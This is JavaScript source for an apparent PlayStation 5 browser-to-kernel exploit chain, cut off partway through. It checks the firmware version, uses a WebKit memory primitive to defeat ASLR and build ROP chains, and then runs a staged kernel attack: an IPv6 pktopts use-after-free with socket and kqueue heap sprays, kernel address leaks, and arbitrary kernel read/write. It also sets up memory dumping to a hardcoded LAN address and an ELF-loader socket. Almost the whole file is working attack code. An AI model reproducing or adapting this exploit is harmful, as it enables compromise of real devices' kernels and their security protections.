//Common chain
let chain;
//Bases
let libSceNKWebKitBase;
let libSceLibcInternalBase;
let libKernelBase;
//ASLR defeat patsy (former vtable buddy)
let textArea = document.createElement("textarea");

if(!navigator.userAgent.includes('PlayStation 5')) {
    alert(`This is a PlayStation 5 Exploit. => ${navigator.userAgent}`);
    throw new Error("");
}

const supportedFirmwares = ["3.00", "3.10", "3.20", "3.21", "4.00", "4.02", "4.03", "4.50", "4.51"];
const fw_idx = navigator.userAgent.indexOf('PlayStation; PlayStation 5/') + 27;
const fw_str = navigator.userAgent.substring(fw_idx, fw_idx+4);

//load offsets & webkit exploit after.
if(!supportedFirmwares.includes(fw_str)) {
    alert(`This firmware(${fw_str}) is not supported.`);
    throw new Error("");
}

let nogc = [];
let syscalls = {};
let gadgets = {};


let worker = new Worker("rop_slave.js");

//Make sure worker is alive?
async function wait_for_worker() {
    let p1 = await new Promise((resolve) => {
        const channel = new MessageChannel();
        channel.port1.onmessage = () => {
            channel.port1.close();
            resolve(1);
        }
        worker.postMessage(0, [channel.port2]);
    });
    return p1;
}

function find_worker() {

    const PTHREAD_NEXT_THREAD_OFFSET = 0x38;
    const PTHREAD_STACK_ADDR_OFFSET = 0xA8;
    const PTHREAD_STACK_SIZE_OFFSET = 0xB0;

    for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) {
        let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET));
        let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET));
        if (stacksz.low == 0x80000) {
            return stack;
        }
    }
    alert("failed to find worker.");
}

async function userland() {
    p.pre_chain = pre_chain;
    p.launch_chain = launch_chain;
    p.malloc = malloc;
    p.malloc_dump = malloc_dump;
    p.stringify = stringify;
    p.array_from_address = array_from_address;
    p.readstr = readstr;
    p.writestr = writestr;

    //pointer to vtable address
    let textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
    //address of vtable
    let textAreaVtable = p.read8(textAreaVtPtr);
    //use address of 1st entry (in .text) to calculate libSceNKWebKitBase
    libSceNKWebKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);

    libSceLibcInternalBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk_memset_import));
    libSceLibcInternalBase.sub32inplace(OFFSET_lc_memset);

    libKernelBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk___stack_chk_guard_import));
    libKernelBase.sub32inplace(OFFSET_lk___stack_chk_guard);

    for (let gadget in wk_gadgetmap) {
        gadgets[gadget] = libSceNKWebKitBase.add32(wk_gadgetmap[gadget]);
    }
    for (let sysc in syscall_map) {
        syscalls[sysc] = libKernelBase.add32(syscall_map[sysc]);
    }

    function malloc_dump(sz) {
        let backing;
        backing = new Uint8Array(sz);
        nogc.push(backing);
        let ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }

    function malloc(sz, type = 4) {
        let backing;
        if (type == 1) {
            backing = new Uint8Array(0x10000 + sz);
        } else if (type == 2) {
            backing = new Uint16Array(0x10000 + sz);
        } else if (type == 4) {
            backing = new Uint32Array(0x10000 + sz);
        }
        nogc.push(backing);
        let ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }

    function array_from_address(addr, size) {
        let og_array = new Uint32Array(0x1000);
        let og_array_i = p.leakval(og_array).add32(0x10);

        p.write8(og_array_i, addr);
        p.write4(og_array_i.add32(0x8), size);
        p.write4(og_array_i.add32(0xC), 0x1);

        nogc.push(og_array);
        return og_array;
    }

    function stringify(str) {
        let bufView = new Uint8Array(str.length + 1);
        for (let i = 0; i < str.length; i++) {
            bufView[i] = str.charCodeAt(i) & 0xFF;
        }
        nogc.push(bufView);
        let ptr = p.read8(p.leakval(bufView).add32(0x10));
        ptr.backing = bufView;
        return ptr;
    }

    function readstr(addr) {
        let str = "";
        for (let i = 0;; i++) {
            let c = p.read1(addr.add32(i));
            if (c == 0x0) {
                break;
            }
            str += String.fromCharCode(c);

        }
        return str;
    }

    function writestr(addr, str) {
        let waddr = addr.add32(0);
        if (typeof (str) == "string") {

            for (let i = 0; i < str.length; i++) {
                let byte = str.charCodeAt(i);
                if (byte == 0) {
                    break;
                }
                p.write1(waddr, byte);
                waddr.add32inplace(0x1);
            }
        }
        p.write1(waddr, 0x0);
    }

    await wait_for_worker();
    let worker_stack = find_worker();
    let original_context = p.malloc(0x40);

    let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET);
    let original_return_address = p.read8(return_address_ptr);
    let stack_pointer_ptr = return_address_ptr.add32(0x8);

    function pre_chain(chain) {
        //save context for later
        chain.push(gadgets["pop rdi"]);
        chain.push(original_context);
        chain.push(libSceLibcInternalBase.add32(OFFSET_lc_setjmp));
    }

    async function launch_chain(chain) {
        //Restore earlier saved context but with a twist.
        let original_value_of_stack_pointer_ptr = p.read8(stack_pointer_ptr);
        chain.push_write8(original_context, original_return_address);
        chain.push_write8(original_context.add32(0x10), return_address_ptr);
        chain.push_write8(stack_pointer_ptr, original_value_of_stack_pointer_ptr);
        chain.push(gadgets["pop rdi"]);
        chain.push(original_context);
        chain.push(libSceLibcInternalBase.add32(OFFSET_lc_longjmp));

        //overwrite rop_slave's return address
        p.write8(return_address_ptr, gadgets["pop rsp"]);
        p.write8(stack_pointer_ptr, chain.stack_entry_point);

        let p1 = await new Promise((resolve) => {
            const channel = new MessageChannel();
            channel.port1.onmessage = () => {
                channel.port1.close();
                resolve(1);
            }
            worker.postMessage(0, [channel.port2]);
        });
        if (p1 === 0) {
            alert("The rop thread ran away. ");
            p.write8(0, 0);
        }
    }

    chain = new worker_rop();

    // POST EXPLOIT STUFF HERE
    let pid = await chain.syscall(20);

    //Sanity check
    if (pid.low == 0) {
        alert("webkit exploit failed. Try again if your ps5 fw is >= 300 && <= 451.");
        p.write8(0, 0); //usually the rw prim just stopped working if we got here, so write to 0x0 might not actually kill the browser.
        while (1);
    }

    // Hide loader, show log
    allset();

    let print = function(string) {
        document.getElementById("console").innerHTML += string + "\n";
    }

    // Network functions to make address/port stuff easier to edit (thx ChendoChap)
    function htons(port) {
        return ((port & 0xFF) << 8) | (port >>> 8);
    }

    function aton(ip) {
        let chunks = ip.split('.');
        let addr = 0;
        for(let i = 0; i < 4; i++) {
            addr |= (parseInt(chunks[i]) << (i * 8));
        }
        return addr >>> 0;
    }

    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    // KERNEL EXPLOIT BEGINS
    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    ///////////////////////////////////////////////////////////////////////
    // Constants, Offsets, Helpers
    ///////////////////////////////////////////////////////////////////////

    // Logging, dumping + RPC settings
    let ENABLE_NET_LOGS             = 0;
    let ELF_LOADER_PORT             = 9020;

    let NET_ADDR                    = aton("10.0.0.193");
    let LOG_NET_PORT                = htons(5655);
    let DUMP_NET_PORT               = htons(5656);
    let ELF_LOADER_NET_PORT         = htons(ELF_LOADER_PORT);

    // Offsets (default 4.03)
    let OFFSET_KERNEL_pktopts_pktinfo_offset  = 0x10;
    let OFFSET_KERNEL_rthdr_offset            = 0x70;
    let OFFSET_KERNEL_tclass_offset           = 0xC0;

    //////
    // Stuff below this point probably doesn't need to change
    //////

    // Defines
    let SYSCALL_READ                = 0x003;
    let SYSCALL_WRITE               = 0x004;
    let SYSCALL_CLOSE               = 0x006;
    let SYSCALL_GETPID              = 0x014;
    let SYSCALL_ACCEPT              = 0x01E;
    let SYSCALL_IOCTL               = 0x036;
    let SYSCALL_SOCKET              = 0x061;
    let SYSCALL_CONNECT             = 0x062;
    let SYSCALL_BIND                = 0x068;
    let SYSCALL_SETSOCKOPT          = 0x069;
    let SYSCALL_LISTEN              = 0x06A;
    let SYSCALL_GETSOCKOPT          = 0x076;
    let SYSCALL_NANOSLEEP           = 0x0F0;
    let SYSCALL_KQUEUE              = 0x16A;
    let SYSCALL_RTPRIO_THREAD       = 0x1D2;
    let SYSCALL_MMAP                = 0x1DD;
    let SYSCALL_CPUSET_SETAFFINITY  = 0x1E8;
    let SYSCALL_JITSHM_CREATE       = 0x215;
    let SYSCALL_JITSHM_ALIAS        = 0x216;
    let SYSCALL_DYNLIB_DLSYM        = 0x24F;
    let SYSCALL_PIPE2               = 0x2AF;

    let AF_INET      = 2;
    let AF_INET6     = 28;
    let SOCK_STREAM  = 1;
    let SOCK_DGRAM   = 2;
    let IPPROTO_UDP  = 17;
    let IPPROTO_IPV6 = 41;
    let IPV6_TCLASS         = 61;
    let IPV6_2292PKTOPTIONS = 25;
    let IPV6_RTHDR          = 51;
    let IPV6_PKTINFO        = 46;
    let EVFILT_READ         = 0xFFFF;
    let EV_ADD              = 1;

    let TAG_TCLASS_SPRAY    = 0x41;
    let TAG_TCLASS_TAINT    = 0x42;
    let TAG_TCLASS_MASTER   = 0x13370000;
    let TAG_TCLASS_MASTER_2 = 0x73310000;
    let SPRAY_SIZE_RACE     = 0x188;
    let NUM_SPRAY_SOCKS     = 0x190;
    let SPRAY_SIZE_KQUEUES  = 0x96;

    let scratch_store          = p.malloc(0x500);
    let temp_rv_store          = p.malloc(0x4);
    let fake_pktopts_buf_store = p.malloc(0x100);

    ///////////////////////////////////////////////////////////////////////
    // Stage 0: Setup (opening fds, setting up helpers)
    ///////////////////////////////////////////////////////////////////////

    // Helper functions
    function build_rthdr_msg(buf, size) {
        let rthdr_len  = ((size / 0x8) - 1) & ~1;
        let rthdr_size = (rthdr_len + 1) * 0x8;

        for (let i = 0; i < size / 0x4; i++) {
            p.write4(buf.add32(i * 0x4), 0);
        }

        p.write1(buf.add32(0x00), 0);             // ip6r_nxt
        p.write1(buf.add32(0x01), rthdr_len);     // ip6r_len
        p.write1(buf.add32(0x02), 0);             // ip6r_type
        p.write1(buf.add32(0x03), rthdr_len / 2); // ip6r_segleft

        return rthdr_size;
    }

    function build_addr(buf, family, port, addr) {
        p.write1(buf.add32(0x00), 0x10);
        p.write1(buf.add32(0x01), family);
        p.write2(buf.add32(0x02), port);
        p.write4(buf.add32(0x04), addr);
    }

    // Logging
    let log_sock_fd_store       = p.malloc(0x4);
    let log_sock_addr_store     = p.malloc(0x10);
    let log_sock_send_sz_store  = p.malloc(0x4);
    let log_sock_connected      = 0;

    await chain.add_syscall_ret(log_sock_fd_store, SYSCALL_SOCKET, AF_INET, SOCK_STREAM, 0);
    await chain.run();

    let log_sock_fd = p.read4(log_sock_fd_store);

    for (let i = 0; i < 0x10; i += 0x8) {
        p.write8(log_sock_addr_store.add32(i), 0);
    }

    build_addr(log_sock_addr_store, AF_INET, LOG_NET_PORT, NET_ADDR);

    async function log_net(str) {
        let str_buf = p.stringify(str + "\n");

        if (log_sock_connected == 0) {
            await chain.add_syscall(SYSCALL_CONNECT, log_sock_fd, log_sock_addr_store, 0x10);
            log_sock_connected = 1;
        }

        await chain.add_syscall(SYSCALL_WRITE, log_sock_fd, str_buf, str_buf.backing.byteLength);
        await chain.run();
    }

    async function log(str) {
        if (ENABLE_NET_LOGS == 1) {
            await log_net(str);
        }

        print(str);
    }

    // Dumping
    let dump_sock_fd_store      = p.malloc(0x4);
    let dump_sock_addr_store    = p.malloc(0x10);
    let dump_sock_send_sz_store = p.malloc(0x4);
    let dump_sock_connected     = 0;

    await chain.add_syscall_ret(dump_sock_fd_store, SYSCALL_SOCKET, AF_INET, SOCK_STREAM, 0);
    await chain.run();

    let dump_sock_fd = p.read4(dump_sock_fd_store);

    for (let i = 0; i < 0x10; i += 0x8) {
        p.write8(dump_sock_addr_store.add32(i), 0);
    }

    build_addr(dump_sock_addr_store, AF_INET, DUMP_NET_PORT, NET_ADDR);

    async function dump_net(buf, size) {
        p.write4(dump_sock_send_sz_store, size);

        if (dump_sock_connected == 0) {
            await chain.add_syscall(SYSCALL_CONNECT, dump_sock_fd, dump_sock_addr_store, 0x10);
            dump_sock_connected = 1;
        }

        await chain.add_syscall(SYSCALL_WRITE, dump_sock_fd, buf, size);
        await chain.run();
    }

    // ELF Loader
    let elf_loader_sock_fd_store      = p.malloc(0x4);
    let elf_loader_sock_addr_store    = p.malloc(0x10);

    await chain.add_syscall_ret(elf_loader_sock_fd_store, SYSCALL_SOCKET, AF_INET, SOCK_STREAM, 0);
    await chain.run();

    let elf_loader_sock_fd = p.read4(elf_loader_sock_fd_store);

    for (let i = 0; i < 0x10; i += 0x8) {
        p.write8(elf_loader_sock_addr_store.add32(i), 0);
    }

    let INADDR_ANY = 0;
    build_addr(elf_loader_sock_addr_store, AF_INET, ELF_LOADER_NET_PORT, INADDR_ANY);

    if (ENABLE_NET_LOGS == 1) {
        print("[+] Network logging is ENABLED. Ensure logging server is running or exploit will block until it connects.");
    }

    // Pipe stuff
    let pipe_read;
    let pipe_write;

    let pipe_mem = p.malloc(0x8);
    await chain.syscall(SYSCALL_PIPE2, pipe_mem, 0);
    pipe_read = p.read4(pipe_mem);
    pipe_write = p.read4(pipe_mem.add32(0x4));

    ///////////////////////////////////////////////////////////////////////
    // Stage 1: Trigger initial UAF and get two sockets to overlap pktopts
    ///////////////////////////////////////////////////////////////////////

    await log("===== Stage 1 - UAF Trigger =====");

    let master_sock_store    = p.malloc(0x4);
    let spray_fds_store      = p.malloc(0x1C0 * 0x4);
    let spray_tclass_store   = p.malloc(0x1C0 * 0x4);
    let spray_sockets        = p.array_from_address(spray_fds_store, NUM_SPRAY_SOCKS * 0x4);
    let kqueue_fds_store     = p.malloc(0x100 * 0x4);
    let cmsg_buf_store       = p.malloc(0x18);
    let tclass_spray_store   = p.malloc(0x4);
    let get_tclass_store     = p.malloc(0x8);
    let set_tclass_store     = p.malloc(0x8);
    let tclass_size_store    = p.malloc(0x8);

    // Create resources
    await chain.add_syscall_ret(master_sock_store, SYSCALL_SOCKET, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        await chain.add_syscall_ret(spray_fds_store.add32(i * 0x4), SYSCALL_SOCKET, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    }
    await chain.run(); // Run 1
    await log("[+] Created sockets...");

    let master_sock = p.read4(master_sock_store);

    // Setup cmsg for pktoptions
    p.write4(cmsg_buf_store.add32(0x00), 0x14);         // cmsg_len
    p.write4(cmsg_buf_store.add32(0x04), IPPROTO_IPV6); // cmsg_level
    p.write4(cmsg_buf_store.add32(0x08), IPV6_TCLASS);  // cmsg_type
    p.write4(cmsg_buf_store.add32(0x10), 0x0);          // cmsg_data

    // Setup tclass spray + size for getsockopt
    p.write4(tclass_spray_store, TAG_TCLASS_SPRAY);
    p.write4(tclass_size_store, 4); // sizeof(int)
    

    // Set prio
    let level = 3;
    let which = 1;
    let id = new int64(0xFFFFFFFF, 0xFFFFFFFF);
    let setsize = 0x10;
    let mask = p.malloc(0x10);
    p.write1(mask.add32(0x1), 0x40);

    await chain.syscall(SYSCALL_CPUSET_SETAFFINITY, level, which, id, setsize, mask);
    let prio = p.malloc(0x4);
    p.write2(prio.add32(0x0), 0x1);
    p.write2(prio.add32(0x2), 0x100);
    await chain.syscall(SYSCALL_RTPRIO_THREAD, 1, 0, prio);

    await chain.run();

    await log("[+] Setting up use thread...");

    // Setup conditional variable stores for threads to communicate
    let thread_use_cond_continue  = p.malloc(0x8);
    let thread_use_cond_restart   = p.malloc(0x8);
    let thread_use_done           = p.malloc(0x8);
    let thread_use_run            = p.malloc(0x8);
    let thread_use_counter        = p.malloc(0x8);
    let thread_free_cond_continue = p.malloc(0x8);
    let thread_free_cond_restart  = p.malloc(0x8);
    let thread_free_done          = p.malloc(0x8);
    let thread_free_counter       = p.malloc(0x8);

    // By default, continue the loop and wait at the end
    p.write8(thread_use_cond_continue, 1);
    p.write8(thread_use_cond_restart, 0);
    p.write8(thread_use_done, 0);
    p.write8(thread_use_run, 0);
    p.write8(thread_use_counter, 0);
    p.write8(thread_free_cond_continue, 1);
    p.write8(thread_free_cond_restart, 0);
    p.write8(thread_free_done, 0);
    p.write8(thread_free_counter, 0);

    // thread layout:
    // -
    // A:
    // [check continue? if so, jump B, if not, jump D]
    // B:
    // [syscall stuff]
    // C:
    // [check restart? if so, jump A, if not, jump C]
    // D:
    // [exit]

    let thread_use = new thread_rop("rop_thread_use"); {
        // Copy in needed resources
        let master_sock = p.read4(master_sock_store);

        // Set thread affinity
        p.write1(mask.add32(0x1), 0x80);

        thread_use.self_healing_syscall(SYSCALL_CPUSET_SETAFFINITY, level, which, id, setsize, mask);
        thread_use.self_healing_syscall(SYSCALL_RTPRIO_THREAD, 1, 0, prio);

        // Labels/code
        const label_a   = thread_use.get_rsp();
        const cond_done = thread_use.create_branch(thread_use.branch_types.EQUAL, thread_use_done, 1);

        const label_b   = thread_use.get_rsp();
        const cond_run  = thread_use.create_branch(thread_use.branch_types.EQUAL, thread_use_run, 1);

        const label_c   = thread_use.get_rsp();
        thread_use.self_healing_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, cmsg_buf_store, 0x18);

        const label_d   = thread_use.get_rsp();
        thread_use.push_write8(thread_use_run, 0x0);
        thread_use.jmp_to_rsp(label_a);

        // Set branch points
        thread_use.set_branch_points(cond_done, label_d, label_b);
        thread_use.set_branch_points(cond_run, label_c, label_a);
    }

    // Last chance prompt to ditch out if launched by accident or something
    alert("Ready?");

    await log("[+] Triggering UAF...");

    let tries = 0;
    let overlap_triggered = 0;
    let expected_tclass   = p.read4(tclass_spray_store);

    let pthread_use       = await thread_use.spawn_thread();

    {
        const label_a = chain.get_rsp();

        chain.push_write8(thread_use_run, 0x1);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
        chain.push_write8(set_tclass_store, TAG_TCLASS_SPRAY);

        for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
            await chain.add_syscall(SYSCALL_SETSOCKOPT, p.read4(spray_fds_store.add32(i * 0x4)), IPPROTO_IPV6, IPV6_TCLASS, set_tclass_store, 0x4);
        }

        await chain.add_syscall(SYSCALL_GETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_TCLASS, get_tclass_store, tclass_size_store)

        const cond_overlap = chain.create_branch(thread_use.branch_types.EQUAL, get_tclass_store, TAG_TCLASS_SPRAY);

        const label_b = chain.get_rsp();
        for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
            await chain.add_syscall(SYSCALL_SETSOCKOPT, p.read4(spray_fds_store.add32(i * 0x4)), IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
        }
        chain.jmp_to_rsp(label_a);

        const label_c = chain.get_rsp();
        chain.push_write8(thread_use_done, 0x1);
        chain.push_write8(set_tclass_store, TAG_TCLASS_TAINT);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_TCLASS, set_tclass_store, 0x4);
        for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
            await chain.add_syscall(SYSCALL_GETSOCKOPT, p.read4(spray_fds_store.add32(i * 0x4)), IPPROTO_IPV6, IPV6_TCLASS, tclass_spray_store.add32(i * 0x4), tclass_size_store);
        }

        chain.set_branch_points(cond_overlap, label_c, label_b);
    }

    await chain.run();

    // Find overlap
    let overlap_found = 0;
    let overlap_idx   = 0;
    let overlap_sock  = 0;

    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        if (p.read4(tclass_spray_store.add32(i * 0x4)) == TAG_TCLASS_TAINT) {
            overlap_found = 1;
            overlap_idx   = i;
            overlap_sock  = p.read4(spray_fds_store.add32(i * 0x4));
            break;
        }
    }

    if (overlap_found == 0) {
        await log("[!] Failed to find overlap, try again.");
        return;
    }

    // Replace spray socket
    await chain.add_syscall_ret(spray_fds_store.add32(overlap_idx * 0x4), SYSCALL_SOCKET, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    await chain.run();

    ///////////////////////////////////////////////////////////////////////
    // Stage 2: Free pktopts and overlap with rthdr spray of tagged tclass
    ///////////////////////////////////////////////////////////////////////

    await log("===== Stage 2 - Overlap pktopts =====");

    let fake_pktopts = async function(target_fd, pktinfo, tag) {
        // Free pktopts
        await chain.add_syscall(SYSCALL_SETSOCKOPT, target_fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);

        // Spray rthdrs
        let size = build_rthdr_msg(fake_pktopts_buf_store, 0x100);

        for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
            let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));

            chain.push_write8(fake_pktopts_buf_store.add32(OFFSET_KERNEL_pktopts_pktinfo_offset), pktinfo);
            chain.push_write4(fake_pktopts_buf_store.add32(OFFSET_KERNEL_tclass_offset), tag | i);
            await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_RTHDR, fake_pktopts_buf_store, size);
        }

        // Get tclass
        await chain.add_syscall(SYSCALL_GETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_TCLASS, scratch_store, tclass_size_store);
        await chain.run();

        tagged_tclass = p.read4(scratch_store);
    }

    // Reallocate pktopts
    p.write4(tclass_spray_store, 0);

    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));

        // Free pktopts and set tclass to 0
        await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass_spray_store, 4);
    }

    // Refill
    await fake_pktopts(overlap_sock, 0, TAG_TCLASS_MASTER); // will implicitly run chain

    await chain.run();

    if ((tagged_tclass & 0xffff0000) != TAG_TCLASS_MASTER) {
        await log("[!] Failed to refill pktopts");
        return;
    }

    overlap_idx  = tagged_tclass & 0xFFFF;
    overlap_sock = p.read4(spray_fds_store.add32(overlap_idx * 0x4));

    // Replace spray socket
    await chain.add_syscall_ret(spray_fds_store.add32(overlap_idx * 0x4), SYSCALL_SOCKET, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    await chain.run();

    ///////////////////////////////////////////////////////////////////////
    // Stage 3: Use overlap to leak a kqueue and pktopts
    ///////////////////////////////////////////////////////////////////////

    await log("===== Stage 3 - Infoleak =====");

    let rthdr_size_store        = p.malloc(0x8);
    let leak_kmalloc_buf_store  = p.malloc(0x800);

    let leak_kmalloc = async function(size) {
        // Build rthdr
        let rthdr_len = build_rthdr_msg(leak_kmalloc_buf_store, size);

        // Set rthdr
        if (size == 0x120) {
            // Spray kqueues
            for (let i = 0; i < 0x5C; i++) {
                await chain.add_syscall_ret(kqueue_fds_store.add32(i * 0x4), SYSCALL_KQUEUE);
            }

            await chain.run();

            // Create holes
            for (let i = 0; i < 0x5C; i += 0x2) {
                let kq_fd = p.read4(kqueue_fds_store.add32(i * 0x4));
                chain.push_
                await chain.add_syscall(SYSCALL_CLOSE, kq_fd);
            }
        }

        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_RTHDR, leak_kmalloc_buf_store, rthdr_len);

        // Get rthdr on overlap
        chain.push_write8(rthdr_size_store, size);
        await chain.add_syscall(SYSCALL_GETSOCKOPT, overlap_sock, IPPROTO_IPV6, IPV6_RTHDR, leak_kmalloc_buf_store, rthdr_size_store);

        // Run
        await chain.run();
    }

    await log("[+] Leaking kqueue...");

    // Free pktopts
    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));
        await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
    }

    // Leak
    await leak_kmalloc(0x120); // will implicitly run chain
    let kqueue_addr = p.read8(leak_kmalloc_buf_store.add32(OFFSET_KERNEL_rthdr_offset))
    await log("  [+] kqueue = 0x" + kqueue_addr);

    // Free rthdr and spray kqueues
    await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);

    for (let i = 0; i < SPRAY_SIZE_KQUEUES - 94; i++) {
        await chain.add_syscall_ret(kqueue_fds_store.add32(i * 0x4), SYSCALL_KQUEUE);
    }

    await chain.run();

    await leak_kmalloc(0x100); // will implicitly run chain
    let pktopts_addr = p.read8(leak_kmalloc_buf_store.add32(OFFSET_KERNEL_rthdr_offset));
    await log("  [+] pktopts addr = 0x" + pktopts_addr);

    // Free rthdr and spray pktopts
    await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);

    p.write4(tclass_spray_store, 0);
    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));
        await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass_spray_store, 4);
    }

    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));
        await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass_spray_store, 4);
    }

    await chain.run();

    ///////////////////////////////////////////////////////////////////////
    // Stage 4: Get an overlap we can use for r/w and test it
    ///////////////////////////////////////////////////////////////////////

    await log("===== Stage 4 - Arbitrary Read/Write =====");

    let victim_found = 0;
    let victim_idx   = 0;
    let victim_sock  = 0;

    let write_victim_buf_store = p.malloc(0x14);
    let find_victim_buf_store  = p.malloc(0x14 * NUM_SPRAY_SOCKS);
    let pktinfo_size_store     = p.malloc(0x4);
    let read_buf_store         = p.malloc(0x14);
    let write_buf_store        = p.malloc(0x14);

    p.write4(pktinfo_size_store, 0x14);

    for (let i = 0; i < 0x14; i += 0x4) {
        p.write4(write_buf_store.add32(i), 0);
    }

    let write_to_victim = async function(addr) {
        p.write8(write_victim_buf_store.add32(0x00), addr);
        p.write8(write_victim_buf_store.add32(0x08), 0);
        p.write4(write_victim_buf_store.add32(0x10), 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
    }

    let find_victim_sock = async function(skip_write) {
        if (skip_write == 0) {
            await write_to_victim(pktopts_addr.add32(OFFSET_KERNEL_pktopts_pktinfo_offset));
        }

        for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
            let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));
            await chain.add_syscall(SYSCALL_GETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_PKTINFO, find_victim_buf_store.add32(i * 0x14), pktinfo_size_store);
        }

        await chain.run();
    }

    let kread = async function(addr) {
        await write_to_victim(addr);
        await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store);
        await chain.run();
    }

    tagged_tclass = 0;
    await fake_pktopts(overlap_sock, pktopts_addr.add32(OFFSET_KERNEL_pktopts_pktinfo_offset), TAG_TCLASS_MASTER_2); // will implicitly run chain

    if ((tagged_tclass & 0xFFFF0000) != TAG_TCLASS_MASTER_2) {
        await log("[!] Failed to refill pktopts");
        return;
    }

    overlap_idx  = tagged_tclass & 0xFFFF;
    overlap_sock = p.read4(spray_fds_store.add32(overlap_idx * 0x4));

    // Replace spray socket
    await chain.add_syscall_ret(spray_fds_store.add32(overlap_idx * 0x4), SYSCALL_SOCKET, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    await chain.run();

    await find_victim_sock(1); // check for bad run, will implicitly run chain

    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        if (p.read4(find_victim_buf_store.add32(i * 0x14)) != 0) {
            victim_found = 1;
            victim_idx   = i;
            victim_sock  = p.read4(spray_fds_store.add32(victim_idx * 0x4));
            log("[!] Bad victim pair, found victim socket: 0x" + victim_sock + " | i = 0x" + i.toString(16));
        }
    }

    if (victim_found == 1) {
        log("[!] We're screwed, can't continue");
        return;
    }

    await find_victim_sock(0); // will implicitly run chain

    // Find victim socket
    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        if (p.read4(find_victim_buf_store.add32(i * 0x14)) == pktopts_addr.add32(OFFSET_KERNEL_pktopts_pktinfo_offset).low) {
            victim_found = 1;
            victim_idx   = i;
            victim_sock  = p.read4(spray_fds_store.add32(victim_idx * 0x4));
            break;
        }
    }

    if (victim_found == 0) {
        await log("[!] Failed to find victim socket");
        return;
    }

    await log("[+] Arbitrary kernel read/write established");

    let test_addr         = kqueue_addr;
    let kqueue_data_addr  = 0;
    let cur_read          = new int64(0, 0);
    let read_large_store  = p.malloc_dump(0x10000);

    p.write4(pktinfo_size_store, 0x14);

    for (let i = 0; i < 0x1000; i += 8) {
        // Arb. Read test_addr
        await kread(test_addr.add32(i));
        cur_read = p.read8(read_buf_store);

        if(OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD == 0){
            //improve offset discovery mode?
            if(cur_read.hi == 0xFFFFFFFF && cur_read.low >= 0x80000000 && cur_read.low <= 0xFF000000) {
                await kread(cur_read);
                let kqueue_test = p.read4(read_buf_store);
